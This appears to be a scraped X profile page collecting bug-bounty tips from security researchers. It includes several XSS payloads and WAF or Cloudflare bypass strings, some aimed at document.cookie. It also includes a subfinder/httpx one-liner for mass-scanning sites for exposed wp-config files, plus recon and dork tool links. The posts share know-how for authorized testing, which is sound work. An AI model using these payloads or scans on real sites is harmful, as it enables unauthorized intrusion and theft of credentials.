buggybughunta @buggybughunta

Joined September 2023

Tweets

51
Followers

30
Following

434
Likes

2

Dawid Moczadło @kannthu1

2 years ago

Do not want to maintain your own infrastructure? We have: - one-click recon - notifications about new subdomains - automatic scans (every x hours or days) - great search experience of all recon data Check out vidocsecurity.com 🔥🔥

2 1 10 2K 5

X @TheMsterDoctor1

2 years ago

Here's a small #XSS list for manual testing (main cases, high success rate). "><img src onerror=alert(1)> "autofocus onfocus=alert(1)// </script><script>alert(1)</script> '-alert(1)-' \'-alert(1)// javascript:alert(1) Try it on: - URL query, fragment & path; - all input fields.…

1 49 147 10K 113

X @TheMsterDoctor1

2 years ago

🔖#SEARCH ENGINES FOR PENTESTERS 01. shodan.io —> (Server , Vulnerabilities) 02. google.com —> (Dorks) 03. wigle.net —> (Wifi Networks) 04. grep.app —> (Codes Search) 05. app.binaryedge.io —> (Threat Intelligence) 06.…

1 200 593 41K 562

Cybertix @thecybertix

2 years ago

𝗢𝗽𝗲𝗻 𝗥𝗲𝗱𝗶𝗿𝗲𝗰𝘁 𝘁𝗼 𝗫𝗦𝗦 𝗪𝗮𝗙 𝗕𝘆𝗽𝗮𝘀𝘀: /register?redirectUrl=javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain Access Oneliners from Github: github.com/thecybertix/On… Subscribe to our YouTube Channel: youtube.com/@cybertix #BugBounty

2 32 119 8K 61

Download Image

ReconOne @ReconOne_bk

2 years ago

Approaching a new Program, you can search for fast Reflected XSS using Dalfox. Here is how 👇🎯 #bugbounty #cybersecurity #xss #recon #bugbountyTools

5 77 333 27K 246

Download Image

Md Ismail Šojal 🕷️ @0x0SojalSec

2 years ago

Searching XSS in every parameter by-itself. Nice extension, must try extension for automating XSS. - github.com/xnl-h4ck3r/Xnl… #infosec #cybersec #bugbountytips

0 50 151 13K 80

X @TheMsterDoctor1

2 years ago

Amazing Google Dorks for Bug Bounty Input your target to generate Google Dork links for easy OSINT recon #bugbountytips taksec.github.io/google-dorks-b… Credit: @TakSec

9 93 313 22K 196

Download Image

VIEH Group @viehgroup

2 years ago

source code disclosure test.com/wp-config.php > 403 test.com/wp-config.PHP > 200 Exploit misconfigurations like this at scale: subfinder -silent -d domain.com | httpx -silent -nc -p 80,443,8080,8443,9000,9001,9002,9003,8088 -path "/wp-config.PHP" -mc 200 -t 60

0 34 120 7K 64

Download Image

Paul Seekamp @nullenc0de

2 years ago

No one likes these fuzzing scripts but me, eh? Thats fine... I'll keep them for myself. 🙂

5 27 201 24K 108

Download Image

Casper0x @__mohammed_a_

2 years ago

XSS is everywhere. +%22+onmouseover=%22alert(document.cookie)%22%3E%3C!-- #BugBounty #BugBountytip #hackerone

12 105 577 38K 289

Download Image

mhmd berro (badcracker) @badcrack3r

2 years ago

⚙️ Automate monitoring of subdomains !! medium.com/@yassineabouki… #bugbounty #bugbountytip #bugbountytips #ethicalhacking #hacking #infosec #pentesting #penetrationtesting #hackforgood #vdp

1 65 195 13K 104

Mehdi @silentgh00st

2 years ago

⚠️New tool release:⚠️ MapperPlus is my own private tool that helped me reduce my recon time from 10 hours to only 1 hour of recon per day. Here is how :⚠️ MapperPlus : Bulk Extraction of soucre codes for every website that have .map files exposed🌐 github.com/midoxnet/mappe…

8 67 261 27K 219

88 @0x88__

2 years ago

So, we all know GitHub Actions, but did you know it's a valuable tool in bug bounty hunting? I bet you do! It's time to dive into it – check out my latest writeup #BugBounty #recon #BugBountytips #GitHubActions h0tak88r.github.io/posts/Automati…

0 2 32 1K 13

def1ant @0xdef1ant

2 years ago

basic fuzzing --> creds in JS file 🙃

6 47 251 19K 120

Download Image

KNOXSS @KN0X55

2 years ago

CloudFlare #XSS #Bypass <Img Src=OnXSS OnError=alert(1)> Landing also on #KNOXSS DEMO very soon! 😀

5 60 250 35K 105

Download Image

iM4n Emperor @iM4n_

2 years ago

Another #Onlineshop & #XSS vuln Payload: "><iMg src=N onerror=alert(document.cookie)>/ بانتی هم نداره🍌

2 1 54 8K 11

Download Image

HackGit @hack_git

2 years ago

Furl Mining URLs from Wayback Machine for bug hunting/fuzzing/further probing github.com/Maryoux/Furl #cybersecurity #pentesting #bugbounty

2 76 340 37K 151

Download Image

Philippe Delteil @PhilippeDelteil

2 years ago

While searching for interesting info in a big log file (6 GB) I resurrected gf from @TomNomNom. Modified the code to accept grep flags with spaces (required for -B number and -A number). Added a pattern. Then I reported a bug! :D github.com/pdelteil/gf

1 12 60 7K 20

InventiveRepair @InventiveRepair

2 years ago

XSS Day #60 Tested out @garethheyes and @PortSwiggerRes reportError payload. Both of the following variations fired on this site for me. window.name='=alert(1)'%0AreportError(name, onerror=eval) window.name=alert(1) reportError(name, onerror=eval)…